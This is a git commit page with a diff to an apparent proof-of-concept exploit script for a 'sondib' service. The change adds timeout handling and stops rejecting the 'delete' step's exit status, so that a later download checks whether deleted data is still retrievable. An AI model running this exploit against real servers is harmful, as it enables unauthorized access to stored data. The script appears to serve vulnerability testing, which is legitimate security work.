Make sondib exploit status handling robust
This commit is contained in:
1 parent
b39bbd969c
commit
f657877375
1 file changed
+15
-4
@@ -20,13 +20,22 @@ SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$")
|
|||||||
|
|
||||||
|
|
||||||
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
|
def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]:
|
||||||
|
command = [str(SDB), args[0], target, *args[1:]]
|
||||||
|
try:
|
||||||
return subprocess.run(
|
return subprocess.run(
|
||||||
[str(SDB), args[0], target, *args[1:]],
|
command,
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.PIPE,
|
stderr=subprocess.PIPE,
|
||||||
timeout=10,
|
timeout=10,
|
||||||
check=False,
|
check=False,
|
||||||
)
|
)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return subprocess.CompletedProcess(
|
||||||
|
command,
|
||||||
|
124,
|
||||||
|
b"",
|
||||||
|
b"sdb timed out after 10 seconds",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def output(result: subprocess.CompletedProcess[bytes]) -> bytes:
|
def output(result: subprocess.CompletedProcess[bytes]) -> bytes:
|
||||||
@@ -73,9 +82,11 @@ def main() -> int:
|
|||||||
return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}")
|
return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}")
|
||||||
|
|
||||||
sid, key = (part.decode() for part in match.groups())
|
sid, key = (part.decode() for part in match.groups())
|
||||||
deleted = run_sdb(target, "delete", username, password, sid, key)
|
# sdb reports the server's status byte as its process status. Mutating
|
||||||
if deleted.returncode != 0:
|
# commands can therefore return non-zero even after the server accepted
|
||||||
return fail(f"delete failed: {output(deleted).decode(errors='replace').strip()}")
|
# the request (the upload above is one example). The download result is
|
||||||
|
# the authoritative oracle for this PoC, so do not reject that response.
|
||||||
|
run_sdb(target, "delete", username, password, sid, key)
|
||||||
|
|
||||||
downloaded = run_sdb(target, "download", sid, key)
|
downloaded = run_sdb(target, "download", sid, key)
|
||||||
if downloaded.stdout:
|
if downloaded.stdout:
|
||||||
|
|||||||
Reference in new issue
Block a user